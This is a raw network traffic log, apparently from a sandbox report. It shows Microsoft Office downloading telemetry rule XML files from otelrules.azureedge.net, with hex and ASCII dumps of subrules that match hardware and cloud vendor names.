2024-12-07 23:48:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:31 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 22946cbe-b01e-0021-6403-48cab7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234831Z-r1cf579d778zvkpnhC1EWRv23g00000003xg000000006qqr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:31 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.7	49764	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:31 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:31 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 549300b5-601e-000d-6903-482618000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234831Z-r1cf579d778dfdgnhC1EWRd3w000000003n0000000002bds x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:31 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.7	49765	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:31 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:31 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:31 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: c11f8514-901e-0048-1305-48b800000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234831Z-r1cf579d7782ctslhC1EWRfbrw00000004a0000000001nc6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:31 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.7	49767	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:33 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:33 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: d196cbd9-901e-008f-5d03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234833Z-r1cf579d778lntp7hC1EWR9gg4000000037g00000000456b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:34 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.7	49768	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:33 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:33 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: e267231f-301e-0099-3103-486683000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234833Z-r1cf579d778mvsklhC1EWRkavg000000040g000000004tws x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:34 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.7	49769	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:33 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:33 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 32c7b88d-b01e-003e-5b01-488e41000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234833Z-r1cf579d778z4wflhC1EWRa3h000000003vg000000002xkw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:34 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.7	49770	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:33 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:33 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: d196cbda-901e-008f-5e03-4867a6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234833Z-r1cf579d778bb9vvhC1EWRs95400000003dg0000000025qr x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:34 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.7	49771	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:33 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:34 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:33 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 30883f21-801e-00a0-1802-482196000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234833Z-r1cf579d778g2t6ghC1EWRfggs00000003500000000062tm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:34 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.7	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:35 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:36 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 072142d6-401e-0029-0802-489b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234836Z-r1cf579d778dc6d7hC1EWR2vs800000004b000000000818b x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:36 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.7	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:35 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:36 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d23b658c-101e-000b-2402-485e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234836Z-r1cf579d778xq4f9hC1EWRx41g00000003kg000000006ryw x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:36 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.7	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:35 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:36 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 836d2ba0-b01e-0070-7302-481cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234836Z-r1cf579d778t5c2lhC1EWRce3w00000004h00000000011z8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:36 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.7	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-07 23:48:35 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-07 23:48:36 UTC	470	IN	HTTP/1.1 200 OK Date: Sat, 07 Dec 2024 23:48:36 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: 2968f52d-d01e-002b-1502-4825fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241207T234836Z-r1cf579d778v97q7hC1EWRf95c00000003ag000000007pt2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-07 23:48:36 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.7	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
